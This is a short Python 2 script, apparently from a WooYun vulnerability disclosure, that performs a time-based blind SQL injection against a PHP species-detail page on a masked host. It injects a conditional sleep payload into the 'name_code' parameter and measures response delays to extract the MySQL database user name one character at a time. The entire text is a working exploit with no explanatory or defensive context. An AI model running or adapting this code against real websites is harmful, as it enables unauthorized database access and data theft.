WooYun.org

import requests
import re
import time
payloads='abcdefghijklmnopqrstuvwxyz0123456789@_.'
from time import sleep
user=''
print 'Start to retrive Mysql user:'
for i in range(1,15):
    for payload in payloads:
        starttime=time.time()
        s="382205' and if(ascii(mid(user() from (%s) for 1))=%s,sleep(2),1) and 'a'='a" %(i,ord(payload))
        param={'name_code':s}
        try:
            response=requests.get('http://**.**.**.**/chi/taibnet_species_detail.php',params=param)
            if time.time()-starttime >2:
                user+=payload
                print '\n user is:',user,
            
                break
            else:
                print '.',
            sleep(0.1)
        except:
            pass
print '\n[Done] mysql user is %s' %user